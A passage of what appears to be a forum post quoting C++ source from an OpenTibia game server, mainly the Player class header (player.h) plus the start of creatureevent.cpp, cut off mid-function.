struct LuaTimerEvent { int32_t scriptId, function; std::list<int32_t> parameters; }; typedef std::map<uint32_t , LuaTimerEvent > LuaTimerEvents; LuaTimerEvents m_timerEvents; //script file cache typedef std::map<int32_t , std::string> ScriptsCache; ScriptsCache m_cacheFiles; }; #endif player.h Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #ifndef __PLAYER__ #define __PLAYER__ #include "otsystem.h" #include "enums.h" #include "creature.h" #include "cylinder.h" #include "container.h" #include "depot.h" #include "outfit.h" #include "vocation.h" #include "group.h" #include "protocolgame.h" #include "ioguild.h" #include "party.h" #include "npc.h" class House; class NetworkMessage; class Weapon; class ProtocolGame; class Npc; class Party; class SchedulerTask; class Quest; enum skillsid_t { SKILL_LEVEL = 0, SKILL_TRIES = 1, SKILL_PERCENT = 2 }; enum playerinfo_t { PLAYERINFO_LEVEL, PLAYERINFO_LEVELPERCENT, PLAYERINFO_HEALTH, PLAYERINFO_MAXHEALTH, PLAYERINFO_MANA, PLAYERINFO_MAXMANA, PLAYERINFO_MAGICLEVEL, PLAYERINFO_MAGICLEVELPERCENT, PLAYERINFO_SOUL, }; enum freeslot_t { SLOT_TYPE_NONE, SLOT_TYPE_INVENTORY, SLOT_TYPE_CONTAINER }; enum chaseMode_t { CHASEMODE_STANDSTILL, CHASEMODE_FOLLOW, }; enum fightMode_t { FIGHTMODE_ATTACK, FIGHTMODE_BALANCED, FIGHTMODE_DEFENSE }; enum secureMode_t { SECUREMODE_ON, SECUREMODE_OFF }; enum tradestate_t { TRADE_NONE, TRADE_INITIATED, TRADE_ACCEPT, TRADE_ACKNOWLEDGE, TRADE_TRANSFER }; enum AccountManager_t { MANAGER_NONE, MANAGER_NEW, MANAGER_ACCOUNT, MANAGER_NAMELOCK }; enum GamemasterCondition_t { GAMEMASTER_INVISIBLE = 0, GAMEMASTER_IGNORE = 1, GAMEMASTER_TELEPORT = 2 }; enum Exhaust_t { EXHAUST_COMBAT = 1, EXHAUST_HEALING = 2 }; typedef std::set<uint32_t> VIPListSet; typedef std::vector<std::pair<uint32_t, Container*> > ContainerVector; typedef std::map<uint32_t, std::pair<Depot*, bool> > DepotMap; typedef std::map<uint32_t, uint32_t> MuteCountMap; typedef std::list<std::string> LearnedInstantSpellList; typedef std::list<uint32_t> InvitedToGuildsList; typedef std::list<Party*> PartyList; #define SPEED_MAX 1500 #define SPEED_MIN 10 #define STAMINA_MAX (42 * 60 * 60 * 1000) #define STAMINA_MULTIPLIER (60 * 1000) class Player : public Creature, public Cylinder { public: #ifdef __ENABLE_SERVER_DIAGNOSTIC__ static uint32_t playerCount; #endif Player(const std::string& name, ProtocolGame* p); virtual ~Player(); virtual Player* getPlayer() {return this;} virtual const Player* getPlayer() const {return this;} static MuteCountMap muteCountMap; virtual const std::string& getName() const {return name;} virtual const std::string& getNameDescription() const {return nameDescription;} virtual std::string getDescription(int32_t lookDistance) const; const std::string& getSpecialDescription() const {return specialDescription;} void setSpecialDescription(const std::string& desc) {specialDescription = desc;} void manageAccount(const std::string& text); bool isAccountManager() const {return (accountManager != MANAGER_NONE);} void kickPlayer(bool displayEffect, bool forceLogout); void setGUID(uint32_t _guid) {guid = _guid;} uint32_t getGUID() const {return guid;} static AutoList<Player> autoList; virtual uint32_t rangeId() {return 0x10000000;} void addList(); void removeList(); static uint64_t getExpForLevel(uint32_t lv) { lv--; return ((50ULL * lv * lv * lv) - (150ULL * lv * lv) + (400ULL * lv)) / 3ULL; } uint32_t getPromotionLevel() const {return promotionLevel;} void setPromotionLevel(uint32_t pLevel); bool changeOutfit(Outfit_t outfit, bool checkList); void hasRequestedOutfit(bool v) {requestedOutfit = v;} Vocation* getVocation() const {return vocation;} int32_t getPlayerInfo(playerinfo_t playerinfo) const; void setParty(Party* _party) {party = _party;} Party* getParty() const {return party;} PartyShields_t getPartyShield(const Creature* creature) const; bool isInviting(const Player* player) const; bool isPartner(const Player* player) const; void sendPlayerPartyIcons(Player* player); bool addPartyInvitation(Party* party); bool removePartyInvitation(Party* party); void clearPartyInvitations(); uint32_t getGuildId() const {return guildId;} void setGuildId(uint32_t newId) {guildId = newId;} uint32_t getRankId() const {return rankId;} void setRankId(uint32_t newId) {rankId = newId;} GuildLevel_t getGuildLevel() const {return guildLevel;} bool setGuildLevel(GuildLevel_t newLevel, uint32_t rank = 0); const std::string& getGuildName() const {return guildName;} void setGuildName(const std::string& newName) {guildName = newName;} const std::string& getRankName() const {return rankName;} void setRankName(const std::string& newName) {rankName = newName;} const std::string& getGuildNick() const {return guildNick;} void setGuildNick(const std::string& newNick) {guildNick = newNick;} bool isGuildInvited(uint32_t guildId) const; void leaveGuild(); void setFlags(uint64_t flags) {if(group) group->setFlags(flags);} bool hasFlag(PlayerFlags value) const {return group != NULL && group->hasFlag(value);} void setCustomFlags(uint64_t flags) {if(group) group->setCustomFlags(flags);} bool hasCustomFlag(PlayerCustomFlags value) const {return group != NULL && group->hasCustomFlag(value);} void addBlessing(int16_t blessing) {blessings += blessing;} bool hasBlessing(int16_t value) const {return (blessings & ((int16_t)1 << value));} uint16_t getBlessings() const; OperatingSystem_t getOperatingSystem() const {return operatingSystem;} void setOperatingSystem(OperatingSystem_t clientOs) {operatingSystem = clientOs;} uint32_t getClientVersion() const {return clientVersion;} void setClientVersion(uint32_t version) {clientVersion = version;} bool hasClient() const {return client;} bool isVirtual() const {return (getID() == 0);} void disconnect() {if(client) client->disconnect();} uint32_t getIP() const; bool canOpenCorpse(uint32_t ownerId); Container* getContainer(uint32_t cid); int32_t getContainerID(const Container* container) const; void addContainer(uint32_t cid, Container* container); void closeContainer(uint32_t cid); virtual bool setStorage(const uint32_t key, const std::string& value); virtual void eraseStorage(const uint32_t key); void generateReservedStorage(); bool transferMoneyTo(const std::string& name, uint64_t amount); void increaseCombatValues(int32_t& min, int32_t& max, bool useCharges, bool countWeapon); void setGroupId(int32_t newId); int32_t getGroupId() const {return groupId;} void setGroup(Group* newGroup); Group* getGroup() const {return group;} virtual bool isGhost() const {return hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_INVISIBLE) || hasFlag(PlayerFlag_CannotBeSeen);} void switchSaving() {saving = !saving;} bool isSaving() const {return saving;} uint32_t getIdleTime() const {return idleTime;} void setIdleTime(uint32_t amount) {idleTime = amount;} bool checkLoginDelay(uint32_t playerId) const; bool isTrading() const {return tradePartner;} uint32_t getAccount() const {return accountId;} std::string getAccountName() const {return account;} uint16_t getAccess() const {return group ? group->getAccess() : 0;} uint16_t getGhostAccess() const {return group ? group->getGhostAccess() : 0;} bool isPremium() const; int32_t getPremiumDays() const {return premiumDays;} uint32_t getLevel() const {return level;} uint64_t getExperience() const {return experience;} uint32_t getMagicLevel() const {return getPlayerInfo(PLAYERINFO_MAGICLEVEL);} uint64_t getSpentMana() const {return manaSpent;} uint32_t getVocationId() const {return vocation_id;} void setVocation(uint32_t vocId); uint16_t getSex(bool full) const {return full ? sex : sex % 2;} void setSex(uint16_t); uint64_t getStamina() const {return hasFlag(PlayerFlag_HasInfiniteStamina) ? STAMINA_MAX : stamina;} void setStamina(uint64_t value) {stamina = std::min((uint64_t)STAMINA_MAX, (uint64_t)std::max((uint64_t)0, value));} uint32_t getStaminaMinutes() const {return (uint32_t)(getStamina() / (uint64_t)STAMINA_MULTIPLIER);} void setStaminaMinutes(uint32_t value) {setStamina((uint64_t)(value * STAMINA_MULTIPLIER));} void useStamina(int64_t value) {stamina = std::min((int64_t)STAMINA_MAX, (int64_t)std::max((int64_t)0, ((int64_t)stamina + value)));} uint64_t getSpentStamina() {return (uint64_t)STAMINA_MAX - stamina;} int64_t getLastLoad() const {return lastLoad;} time_t getLastLogin() const {return lastLogin;} time_t getLastLogout() const {return lastLogout;} Position getLoginPosition() const {return loginPosition;} uint32_t getTown() const {return town;} void setTown(uint32_t _town) {town = _town;} virtual bool isPushable() const; virtual int32_t getThrowRange() const {return 1;} bool isMuted(uint16_t channelId, SpeakClasses type, uint32_t& time); void addMessageBuffer(); void removeMessageBuffer(); double getCapacity() const {return capacity;} void setCapacity(double newCapacity) {capacity = newCapacity;} double getFreeCapacity() const { if(hasFlag(PlayerFlag_CannotPickupItem)) return 0.00; else if(hasFlag(PlayerFlag_HasInfiniteCapacity)) return 10000.00; return std::max(0.00, capacity - inventoryWeight); } virtual int32_t getSoul() const {return getPlayerInfo(PLAYERINFO_SOUL);} virtual int32_t getMaxHealth() const {return getPlayerInfo(PLAYERINFO_MAXHEALTH);} virtual int32_t getMaxMana() const {return getPlayerInfo(PLAYERINFO_MAXMANA);} int32_t getSoulMax() const {return soulMax;} Item* getInventoryItem(slots_t slot) const; Item* getEquippedItem(slots_t slot) const; bool isItemAbilityEnabled(slots_t slot) const {return inventoryAbilities[slot];} void setItemAbility(slots_t slot, bool enabled) {inventoryAbilities[slot] = enabled;} int32_t getVarSkill(skills_t skill) const {return varSkills[skill];} void setVarSkill(skills_t skill, int32_t modifier) {varSkills[skill] += modifier;} int32_t getVarStats(stats_t stat) const {return varStats[stat];} void setVarStats(stats_t stat, int32_t modifier); int32_t getDefaultStats(stats_t stat); void setConditionSuppressions(uint32_t conditions, bool remove); uint32_t getLossPercent(lossTypes_t lossType) const {return lossPercent[lossType];} void setLossPercent(lossTypes_t lossType, uint32_t newPercent) {lossPercent[lossType] = newPercent;} Depot* getDepot(uint32_t depotId, bool autoCreateDepot); bool addDepot(Depot* depot, uint32_t depotId); void useDepot(uint32_t depotId, bool value); virtual bool canSee(const Position& pos) const; virtual bool canSeeCreature(const Creature* creature) const; virtual bool canWalkthrough(const Creature* creature) const; virtual bool canSeeInvisibility() const {return hasFlag(PlayerFlag_CanSenseInvisibility);} virtual RaceType_t getRace() const {return RACE_BLOOD;} //safe-trade functions void setTradeState(tradestate_t state) {tradeState = state;} tradestate_t getTradeState() {return tradeState;} Item* getTradeItem() {return tradeItem;} //shop functions void setShopOwner(Npc* owner, int32_t onBuy, int32_t onSell, ShopInfoList offer) { shopOwner = owner; purchaseCallback = onBuy; saleCallback = onSell; shopOffer = offer; } Npc* getShopOwner(int32_t& onBuy, int32_t& onSell) { onBuy = purchaseCallback; onSell = saleCallback; return shopOwner; } const Npc* getShopOwner(int32_t& onBuy, int32_t& onSell) const { onBuy = purchaseCallback; onSell = saleCallback; return shopOwner; } //V.I.P. functions void notifyLogIn(Player* loginPlayer); void notifyLogOut(Player* logoutPlayer); bool removeVIP(uint32_t guid); bool addVIP(uint32_t guid, std::string& name, bool isOnline, bool internal = false); //follow functions virtual bool setFollowCreature(Creature* creature, bool fullPathSearch = false); //follow events virtual void onFollowCreature(const Creature* creature); //walk events virtual void onWalk(Direction& dir); virtual void onWalkAborted(); virtual void onWalkComplete(); void stopWalk(); void openShopWindow(); void closeShopWindow(Npc* npc = NULL, int32_t onBuy = -1, int32_t onSell = -1); bool canShopItem(uint16_t itemId, uint8_t subType, ShopEvent_t event); void setChaseMode(chaseMode_t mode); void setFightMode(fightMode_t mode) {fightMode = mode;} void setSecureMode(secureMode_t mode) {secureMode = mode;} secureMode_t getSecureMode() const {return secureMode;} //combat functions virtual bool setAttackedCreature(Creature* creature); bool isImmune(CombatType_t type) const; bool isImmune(ConditionType_t type) const; bool hasShield() const; virtual bool isAttackable() const; virtual void changeHealth(int32_t healthChange); virtual void changeMana(int32_t manaChange); void changeSoul(int32_t soulChange); bool isPzLocked() const {return pzLocked;} void setPzLocked(bool v) {pzLocked = v;} virtual BlockType_t blockHit(Creature* attacker, CombatType_t combatType, int32_t& damage, bool checkDefense = false, bool checkArmor = false); virtual void doAttacking(uint32_t interval); virtual bool hasExtraSwing() {return lastAttack > 0 && ((OTSYS_TIME() - lastAttack) >= getAttackSpeed());} int32_t getShootRange() const {return shootRange;} int32_t getSkill(skills_t skilltype, skillsid_t skillinfo) const; bool getAddAttackSkill() const {return addAttackSkillPoint;} BlockType_t getLastAttackBlockType() const {return lastAttackBlockType;} Item* getWeapon(bool ignoreAmmo = false); virtual WeaponType_t getWeaponType(); int32_t getWeaponSkill(const Item* item) const; void getShieldAndWeapon(const Item* &shield, const Item* &weapon) const; virtual void drainHealth(Creature* attacker, CombatType_t combatType, int32_t damage); virtual void drainMana(Creature* attacker, CombatType_t combatType, int32_t damage); void addExperience(uint64_t exp); void removeExperience(uint64_t exp, bool updateStats = true); void addManaSpent(uint64_t amount, bool useMultiplier = true); void addSkillAdvance(skills_t skill, uint32_t count, bool useMultiplier = true); bool addUnjustifiedKill(const Player* attacked); virtual int32_t getArmor() const; virtual int32_t getDefense() const; virtual float getAttackFactor() const; virtual float getDefenseFactor() const; void addExhaust(uint32_t ticks, Exhaust_t type); void addInFightTicks(bool pzLock = false); void addDefaultRegeneration(uint32_t addTicks); virtual double getGainedExperience(Creature* attacker) const; //combat event functions virtual void onAddCondition(ConditionType_t type, bool hadCondition); virtual void onAddCombatCondition(ConditionType_t type, bool hadCondition); virtual void onEndCondition(ConditionType_t type); virtual void onCombatRemoveCondition(const Creature* attacker, Condition* condition); virtual void onTickCondition(ConditionType_t type, int32_t interval, bool& _remove); virtual void onAttackedCreature(Creature* target); virtual void onSummonAttackedCreature(Creature* summon, Creature* target); virtual void onAttacked(); virtual void onAttackedCreatureDrain(Creature* target, int32_t points); virtual void onSummonAttackedCreatureDrain(Creature* summon, Creature* target, int32_t points); virtual void onTargetCreatureGainHealth(Creature* target, int32_t points); virtual bool onKilledCreature(Creature* target, uint32_t& flags); virtual void onGainExperience(double& gainExp, bool fromMonster, bool multiplied); virtual void onGainSharedExperience(double& gainExp, bool fromMonster, bool multiplied); virtual void onAttackedCreatureBlockHit(Creature* target, BlockType_t blockType); virtual void onBlockHit(BlockType_t blockType); virtual void onChangeZone(ZoneType_t zone); virtual void onAttackedCreatureChangeZone(ZoneType_t zone); virtual void onIdleStatus(); virtual void onPlacedCreature(); virtual void getCreatureLight(LightInfo& light) const; Skulls_t getSkull() const; Skulls_t getSkullClient(const Creature* creature) const; bool hasAttacked(const Player* attacked) const; void addAttacked(const Player* attacked); void clearAttacked() {attackedSet.clear();} time_t getSkullEnd() const {return skullEnd;} void setSkullEnd(time_t _time, bool login, Skulls_t _skull); bool addOutfit(uint32_t outfitId, uint32_t addons); bool removeOutfit(uint32_t outfitId, uint32_t addons); bool canWearOutfit(uint32_t outfitId, uint32_t addons); bool canLogout(bool checkInfight); //tile //send methods void sendAddTileItem(const Tile* tile, const Position& pos, const Item* item) {if(client) client->sendAddTileItem(tile, pos, tile->getClientIndexOfThing(this, item), item);} void sendUpdateTileItem(const Tile* tile, const Position& pos, const Item* oldItem, const Item* newItem) {if(client) client->sendUpdateTileItem(tile, pos, tile->getClientIndexOfThing(this, oldItem), newItem);} void sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item) {if(client) client->sendRemoveTileItem(tile, pos, stackpos);} void sendUpdateTile(const Tile* tile, const Position& pos) {if(client) client->sendUpdateTile(tile, pos);} void sendChannelMessage(std::string author, std::string text, SpeakClasses type, uint8_t channel) {if(client) client->sendChannelMessage(author, text, type, channel);} void sendCreatureAppear(const Creature* creature) {if(client) client->sendAddCreature(creature, creature->getPosition(), creature->getTile()->getClientIndexOfThing( this, creature));} void sendCreatureDisappear(const Creature* creature, uint32_t stackpos) {if(client) client->sendRemoveCreature(creature, creature->getPosition(), stackpos);} void sendCreatureMove(const Creature* creature, const Tile* newTile, const Position& newPos, const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport) {if(client) client->sendMoveCreature(creature, newTile, newPos, newTile->getClientIndexOfThing( this, creature), oldTile, oldPos, oldStackpos, teleport);} void sendCreatureTurn(const Creature* creature) {if(client) client->sendCreatureTurn(creature, creature->getTile()->getClientIndexOfThing(this, creature));} void sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos = NULL) {if(client) client->sendCreatureSay(creature, type, text, pos);} void sendCreatureSquare(const Creature* creature, SquareColor_t color) {if(client) client->sendCreatureSquare(creature, color);} void sendCreatureChangeOutfit(const Creature* creature, const Outfit_t& outfit) {if(client) client->sendCreatureOutfit(creature, outfit);} void sendCreatureChangeVisible(const Creature* creature, Visible_t visible); void sendCreatureLight(const Creature* creature) {if(client) client->sendCreatureLight(creature);} void sendCreatureShield(const Creature* creature) {if(client) client->sendCreatureShield(creature);} void sendExtendedOpcode(uint8_t opcode, const std::string& buffer) {if(client) client->sendExtendedOpcode(opcode, buffer);} void sendCreatureNick(const Creature* creature) {if(client) client->sendCreatureNick(creature);} //container void sendAddContainerItem(const Container* container, const Item* item); void sendUpdateContainerItem(const Container* container, uint8_t slot, const Item* oldItem, const Item* newItem); void sendRemoveContainerItem(const Container* container, uint8_t slot, const Item* item); void sendContainer(uint32_t cid, const Container* container, bool hasParent) {if(client) client->sendContainer(cid, container, hasParent);} //inventory void sendAddInventoryItem(slots_t slot, const Item* item) {if(client) client->sendAddInventoryItem(slot, item);} void sendUpdateInventoryItem(slots_t slot, const Item* oldItem, const Item* newItem) {if(client) client->sendUpdateInventoryItem(slot, newItem);} void sendRemoveInventoryItem(slots_t slot, const Item* item) {if(client) client->sendRemoveInventoryItem(slot);} //event methods virtual void onUpdateTileItem(const Tile* tile, const Position& pos, const Item* oldItem, const ItemType& oldType, const Item* newItem, const ItemType& newType); virtual void onRemoveTileItem(const Tile* tile, const Position& pos, const ItemType& iType, const Item* item); virtual void onCreatureAppear(const Creature* creature); virtual void onCreatureDisappear(const Creature* creature, bool isLogout); virtual void onCreatureMove(const Creature* creature, const Tile* newTile, const Position& newPos, const Tile* oldTile, const Position& oldPos, bool teleport); virtual void onAttackedCreatureDisappear(bool isLogout); virtual void onFollowCreatureDisappear(bool isLogout); //cylinder implementations virtual Cylinder* getParent() {return Creature::getParent();} virtual const Cylinder* getParent() const {return Creature::getParent();} virtual bool isRemoved() const {return Creature::isRemoved();} virtual Position getPosition() const {return Creature::getPosition();} virtual Tile* getTile() {return Creature::getTile();} virtual const Tile* getTile() const {return Creature::getTile();} virtual Item* getItem() {return NULL;} virtual const Item* getItem() const {return NULL;} virtual Creature* getCreature() {return this;} virtual const Creature* getCreature() const {return this;} //container void onAddContainerItem(const Container* container, const Item* item); void onUpdateContainerItem(const Container* container, uint8_t slot, const Item* oldItem, const ItemType& oldType, const Item* newItem, const ItemType& newType); void onRemoveContainerItem(const Container* container, uint8_t slot, const Item* item); void onCloseContainer(const Container* container); void onSendContainer(const Container* container); void autoCloseContainers(const Container* container); //inventory void onAddInventoryItem(slots_t slot, Item* item) {} void onUpdateInventoryItem(slots_t slot, Item* oldItem, const ItemType& oldType, Item* newItem, const ItemType& newType); void onRemoveInventoryItem(slots_t slot, Item* item); void sendAnimatedText(const Position& pos, uint8_t color, std::string text) const {if(client) client->sendAnimatedText(pos,color,text);} void sendCancel(const std::string& msg) const {if(client) client->sendCancel(msg);} void sendCancelMessage(ReturnValue message) const; void sendCancelTarget() const {if(client) client->sendCancelTarget();} void sendCancelWalk() const {if(client) client->sendCancelWalk();} void sendChangeSpeed(const Creature* creature, uint32_t newSpeed) const {if(client) client->sendChangeSpeed(creature, newSpeed);} void sendCreatureHealth(const Creature* creature) const {if(client) client->sendCreatureHealth(creature);} void sendDistanceShoot(const Position& from, const Position& to, uint8_t type) const {if(client) client->sendDistanceShoot(from, to, type);} void sendHouseWindow(House* house, uint32_t listId) const; void sendOutfitWindow() const {if(client) client->sendOutfitWindow();} void sendQuests() const {if(client) client->sendQuests();} void sendQuestInfo(Quest* quest) const {if(client) client->sendQuestInfo(quest);} void sendCreatureSkull(const Creature* creature) const {if(client) client->sendCreatureSkull(creature);} void sendFYIBox(std::string message) {if(client) client->sendFYIBox(message);} void sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName) {if(client) client->sendCreatePrivateChannel(channelId, channelName);} void sendClosePrivate(uint16_t channelId) const {if(client) client->sendClosePrivate(channelId);} void sendIcons() const; void sendMagicEffect(const Position& pos, uint8_t type) const {if(client) client->sendMagicEffect(pos, type);} void sendStats(); void sendSkills() const {if(client) client->sendSkills();} void sendTextMessage(MessageClasses type, const std::string& message) const {if(client) client->sendTextMessage(type, message);} void sendReLoginWindow() const {if(client) client->sendReLoginWindow();} void sendTextWindow(Item* item, uint16_t maxLen, bool canWrite) const {if(client) client->sendTextWindow(windowTextId, item, maxLen, canWrite);} void sendTextWindow(uint32_t itemId, const std::string& text) const {if(client) client->sendTextWindow(windowTextId, itemId, text);} void sendToChannel(Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time = 0) const {if(client) client->sendToChannel(creature, type, text, channelId, time);} void sendShop() const {if(client) client->sendShop(shopOffer);} void sendGoods() const {if(client) client->sendGoods(shopOffer);} void sendCloseShop() const {if(client) client->sendCloseShop();} void sendTradeItemRequest(const Player* player, const Item* item, bool ack) const {if(client) client->sendTradeItemRequest(player, item, ack);} void sendTradeClose() const {if(client) client->sendCloseTrade();} void sendWorldLight(LightInfo& lightInfo) {if(client) client->sendWorldLight(lightInfo);} void sendChannelsDialog() {if(client) client->sendChannelsDialog();} void sendOpenPrivateChannel(const std::string& receiver) {if(client) client->sendOpenPrivateChannel(receiver);} void sendOutfitWindow() {if(client) client->sendOutfitWindow();} void sendCloseContainer(uint32_t cid) {if(client) client->sendCloseContainer(cid);} void sendChannel(uint16_t channelId, const std::string& channelName) {if(client) client->sendChannel(channelId, channelName);} void sendRuleViolationsChannel(uint16_t channelId) {if(client) client->sendRuleViolationsChannel(channelId);} void sendRemoveReport(const std::string& name) {if(client) client->sendRemoveReport(name);} void sendLockRuleViolation() {if(client) client->sendLockRuleViolation();} void sendRuleViolationCancel(const std::string& name) {if(client) client->sendRuleViolationCancel(name);} void sendTutorial(uint8_t tutorialId) {if(client) client->sendTutorial(tutorialId);} void sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc) {if (client) client->sendAddMarker(pos, markType, desc);} void sendCritical() const; void receivePing() {lastPong = OTSYS_TIME();} virtual void onThink(uint32_t interval); uint32_t getAttackSpeed(); virtual void postAddNotification(Creature* actor, Thing* thing, const Cylinder* oldParent, int32_t index, cylinderlink_t link = LINK_OWNER); virtual void postRemoveNotification(Creature* actor, Thing* thing, const Cylinder* newParent, int32_t index, bool isCompleteRemoval, cylinderlink_t link = LINK_OWNER); void setNextAction(int64_t time) {if(time > nextAction) {nextAction = time;}} bool canDoAction() const {return nextAction <= OTSYS_TIME();} uint32_t getNextActionTime() const; Item* getWriteItem(uint32_t& _windowTextId, uint16_t& _maxWriteLen); void setWriteItem(Item* item, uint16_t _maxWriteLen = 0); House* getEditHouse(uint32_t& _windowTextId, uint32_t& _listId); void setEditHouse(House* house, uint32_t listId = 0); void learnInstantSpell(const std::string& name); void unlearnInstantSpell(const std::string& name); bool hasLearnedInstantSpell(const std::string& name) const; VIPListSet VIPList; ContainerVector containerVec; InvitedToGuildsList invitedToGuildsList; ConditionList storedConditionList; DepotMap depots; uint32_t marriage; uint64_t balance; double rates[SKILL__LAST + 1]; Container transferContainer; protected: void checkTradeState(const Item* item); bool gainExperience(double& gainExp, bool fromMonster); bool rateExperience(double& gainExp, bool fromMonster); void updateBaseSpeed() { if(!hasFlag(PlayerFlag_SetMaxSpeed)) baseSpeed = vocation->getBaseSpeed() + (2 * (level - 1)); else baseSpeed = SPEED_MAX; } void updateInventoryWeight(); void updateInventoryGoods(uint32_t itemId); void updateItemsLight(bool internal = false); void setNextWalkActionTask(SchedulerTask* task); void setNextWalkTask(SchedulerTask* task); void setNextActionTask(SchedulerTask* task); virtual bool onDeath(); virtual Item* createCorpse(DeathList deathList); virtual void dropCorpse(DeathList deathList); virtual void dropLoot(Container* corpse); //cylinder implementations virtual ReturnValue __queryAdd(int32_t index, const Thing* thing, uint32_t count, uint32_t flags) const; virtual ReturnValue __queryMaxCount(int32_t index, const Thing* thing, uint32_t count, uint32_t& maxQueryCount, uint32_t flags) const; virtual ReturnValue __queryRemove(const Thing* thing, uint32_t count, uint32_t flags) const; virtual Cylinder* __queryDestination(int32_t& index, const Thing* thing, Item** destItem, uint32_t& flags); virtual void __addThing(Creature* actor, Thing* thing); virtual void __addThing(Creature* actor, int32_t index, Thing* thing); virtual void __updateThing(Thing* thing, uint16_t itemId, uint32_t count); virtual void __replaceThing(uint32_t index, Thing* thing); virtual void __removeThing(Thing* thing, uint32_t count); virtual Thing* __getThing(uint32_t index) const; virtual int32_t __getIndexOfThing(const Thing* thing) const; virtual int32_t __getFirstIndex() const; virtual int32_t __getLastIndex() const; virtual uint32_t __getItemTypeCount(uint16_t itemId, int32_t subType = -1, bool itemCount = true) const; virtual std::map<uint32_t, uint32_t>& __getAllItemTypeCount(std::map<uint32_t, uint32_t>& countMap, bool itemCount = true) const; virtual void __internalAddThing(Thing* thing); virtual void __internalAddThing(uint32_t index, Thing* thing); uint32_t getVocAttackSpeed() const {return vocation->getAttackSpeed();} virtual int32_t getStepSpeed() const { if(getSpeed() > SPEED_MAX) return SPEED_MAX; if(getSpeed() < SPEED_MIN) return SPEED_MIN; return getSpeed(); } virtual uint32_t getDamageImmunities() const {return damageImmunities;} virtual uint32_t getConditionImmunities() const {return conditionImmunities;} virtual uint32_t getConditionSuppressions() const {return conditionSuppressions;} virtual uint16_t getLookCorpse() const; virtual uint64_t getLostExperience() const; virtual void getPathSearchParams(const Creature* creature, FindPathParams& fpp) const; static uint32_t getPercentLevel(uint64_t count, uint64_t nextLevelCount); bool isPromoted(uint32_t pLevel = 1) const {return promotionLevel >= pLevel;} bool hasCapacity(const Item* item, uint32_t count) const; private: bool talkState[13]; bool inventoryAbilities[11]; bool pzLocked; bool saving; bool isConnecting; bool requestedOutfit; bool outfitAttributes; bool addAttackSkillPoint; OperatingSystem_t operatingSystem; AccountManager_t accountManager; PlayerSex_t managerSex; BlockType_t lastAttackBlockType; chaseMode_t chaseMode; fightMode_t fightMode; secureMode_t secureMode; tradestate_t tradeState; GuildLevel_t guildLevel; int16_t blessings; uint16_t maxWriteLen; uint16_t sex; int32_t premiumDays; int32_t soul; int32_t soulMax; int32_t vocation_id; int32_t groupId; int32_t managerNumber, managerNumber2; int32_t purchaseCallback; int32_t saleCallback; int32_t varSkills[SKILL_LAST + 1]; int32_t varStats[STAT_LAST + 1]; int32_t messageBuffer; int32_t bloodHitCount; int32_t shieldBlockCount; int32_t shootRange; uint32_t clientVersion; uint32_t messageTicks; uint32_t idleTime; uint32_t accountId; uint32_t lastIP; uint32_t level; uint32_t levelPercent; uint32_t magLevel; uint32_t magLevelPercent; uint32_t damageImmunities; uint32_t conditionImmunities; uint32_t conditionSuppressions; uint32_t condition; //? uint32_t nextStepEvent; uint32_t actionTaskEvent; uint32_t walkTaskEvent; uint32_t lossPercent[LOSS_LAST + 1]; uint32_t skills[SKILL_LAST + 1][3]; uint32_t guid; uint32_t editListId; uint32_t windowTextId; uint32_t guildId; uint32_t rankId; uint32_t promotionLevel; uint32_t town; time_t skullEnd; time_t lastLogin; time_t lastLogout; int64_t lastLoad; int64_t lastPong; int64_t lastPing; int64_t nextAction; uint64_t stamina; uint64_t experience; uint64_t manaSpent; uint64_t lastAttack; double inventoryWeight; double capacity; char managerChar[100]; std::string managerString, managerString2; std::string account, password; std::string name, nameDescription, specialDescription; std::string guildName, rankName, guildNick; Position loginPosition; LightInfo itemsLight; Vocation* vocation; ProtocolGame* client; SchedulerTask* walkTask; Party* party; Group* group; Item* inventory[11]; Player* tradePartner; Item* tradeItem; Item* writeItem; House* editHouse; Npc* shopOwner; typedef std::set<uint32_t> AttackedSet; AttackedSet attackedSet; ShopInfoList shopOffer; PartyList invitePartyList; OutfitMap outfits; LearnedInstantSpellList learnedInstantSpellList; friend class Game; friend class LuaScriptInterface; friend class Npc; friend class Map; friend class Actions; friend class IOLoginData; friend class ProtocolGame; }; #endif creatureevent.cpp Citar //////////////////////////////////////////////////////////////////////// // OpenTibia - an opensource roleplaying game //////////////////////////////////////////////////////////////////////// // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. //////////////////////////////////////////////////////////////////////// #include "otpch.h" #ifdef __DEBUG_LUASCRIPTS__ #include <sstream> #endif #include "creatureevent.h" #include "player.h" #include "tools.h" CreatureEvents::CreatureEvents(): m_interface("CreatureScript Interface") { m_interface.initState(); } CreatureEvents::~CreatureEvents() { CreatureEventList::iterator it; for(it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it) delete it->second; } void CreatureEvents::clear() { //clear creature events for(CreatureEventList::iterator it = m_creatureEvents.begin(); it != m_creatureEvents.end(); ++it) it->second->clearEvent(); //clear lua state m_interface.reInitState(); } Event* CreatureEvents::getEvent(const std::string& nodeName) { std::string tmpNodeName = asLowerCaseString(nodeName); if(tmpNodeName == "event" || tmpNodeName == "creaturevent" || tmpNodeName == "creatureevent" || tmpNodeName == "creaturescript") return new CreatureEvent(&m_interface); return NULL; } bool CreatureEvents::registerEvent(Event* event, xmlNodePtr p, bool override) { 